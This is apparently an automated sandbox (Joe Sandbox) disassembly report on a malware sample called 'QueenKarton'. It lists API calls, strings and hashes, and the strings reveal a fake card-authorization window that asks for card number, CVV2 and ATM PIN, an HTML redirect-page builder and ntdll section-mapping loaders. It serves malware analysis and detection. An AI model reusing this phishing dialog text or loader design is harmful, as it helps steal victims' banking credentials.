Instruction Fuzzy Hash: 7B81A8B1E041186ADB20B665CC4ABDEB7BD9F40304F1444F7B608F61D1E6B99F848F59

Function 00406753 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,?,00000000,?,00000080,00000000), ref: 0040677F
GetFileSize.KERNEL32(00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 0040679E
CloseHandle.KERNEL32(00000000,00000000,00000000,?,80000000,?,00000000,?,00000080,00000000), ref: 004067A6

Part of subcall function 004013CC: RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 004013EF

Part of subcall function 004054D7: lstrlenA.KERNEL32(?), ref: 004054F1
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?), ref: 00405505
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?), ref: 00405513
Part of subcall function 004054D7: lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
Part of subcall function 004054D7: LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
Part of subcall function 004054D7: memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
Part of subcall function 004054D7: CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
Part of subcall function 004054D7: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
Part of subcall function 004054D7: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8

Part of subcall function 00401348: RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,000F003F,00000000,?,?), ref: 00401375

Strings

Software\Microsoft, xrefs: 004067C5, 0040680B

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: lstrlen$Create$FileThread$AllocCloseCodeExitHandleLocalObjectOpenSingleSizeWaitmemcpy
String ID: Software\Microsoft
API String ID: 3232930010-89712428
Opcode ID: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction ID: db3b40ff5e41acc5bdae17a6e42d24a18e18c948de20eb22515eb7809feee29e
Opcode Fuzzy Hash: fe47db177618890fec732a06e734d603300a7356096fbf0c01363e8c7022514f
Instruction Fuzzy Hash: C3219972E002097BEB10AE998D42FDEBAA8DB04714F644077FB00B61E1E6B55A108B99

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

20%.2u, xrefs: 00406302
Click Once To Continue, xrefs: 00406566
3-digit validation code on back of card (cvv2), xrefs: 004063D7
Please make corrections and try again., xrefs: 00406482
MasterCard, xrefs: 004061F2
Your card number, xrefs: 0040639E
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
%.2u, xrefs: 004062D6
Visa, xrefs: 00406204
Explorer, xrefs: 00406098
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Card && expiration date, xrefs: 0040635F
Authorization Failed., xrefs: 00406129
ATM PIN-Code, xrefs: 00406410
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
DocObject, xrefs: 00406089
BUTTON, xrefs: 0040656B
QueenKarton, xrefs: 004060F5
EDIT, xrefs: 004064BD, 004064F9, 0040652F

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

<body>, xrefs: 00405911
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
<head>, xrefs: 0040580D
.htm, xrefs: 0040575E
<script>, xrefs: 00405966
</head>, xrefs: 004058D7
%sself.parent.location="%s";, xrefs: 00405A36
%s<title>%s%u</title>, xrefs: 00405897
function x(), xrefs: 004059A0
</script>, xrefs: 00405B07
%ssetTimeout("x()",%u);, xrefs: 00405ACD
<html>, xrefs: 0040576C
</body><html>, xrefs: 00405B88
MicroSoft-Corp, xrefs: 0040588B

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 0040447A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00404492
LocalAlloc.KERNEL32(00000040,-00000008,?), ref: 004044A4
sprintf.CRTDLL(?,%s%c%c,?,4EC4EBEE,?,00000040,-00000008,?), ref: 00404515

Strings

%s%c%c, xrefs: 0040450F

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: AllocLocallstrlensprintf
String ID: %s%c%c
API String ID: 2176257816-3118753097
Opcode ID: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction ID: 40b1eb1d73d9c04af9a72cf5af1a140bd4a75b2e1492408562adfdfa8721cd8f
Opcode Fuzzy Hash: 3bea807363c46ff2eeabd7410228c447bcb65eafde6f1461acbb5ea9ba8cf64b
Instruction Fuzzy Hash: F9110B72E0406867DB009A9A88815AFFBB69FC5310F1641F7EA04B73C1D27CAD0193A5

Function 00403743 Relevance: 6.0, APIs: 4, Instructions: 43fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403769
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403780
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403798
CloseHandle.KERNEL32(00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080), ref: 0040379E

Memory Dump Source

Source File: 00000009.00000002.1986338181.0000000000401000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1986305322.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986378400.000000000042A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986418950.000000000042E000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986471644.000000000042F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986516126.0000000000436000.00000020.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.1986550435.0000000000438000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_Odekfoij.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction ID: cf1cf3c615f6ac6775c7614bbea78a1f327309af87cada33f382846b8ae172d8
Opcode Fuzzy Hash: dac2396c127bae0588a020e64ec8d65c8c20fafefb6c849fc3be04b1fb147846
Instruction Fuzzy Hash: 1BF0E972B442143AE62029758C03FDE355D8B41B78F144131FB10FB1D1D5B8BA0142AD

Function 0040185F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 152COMMON

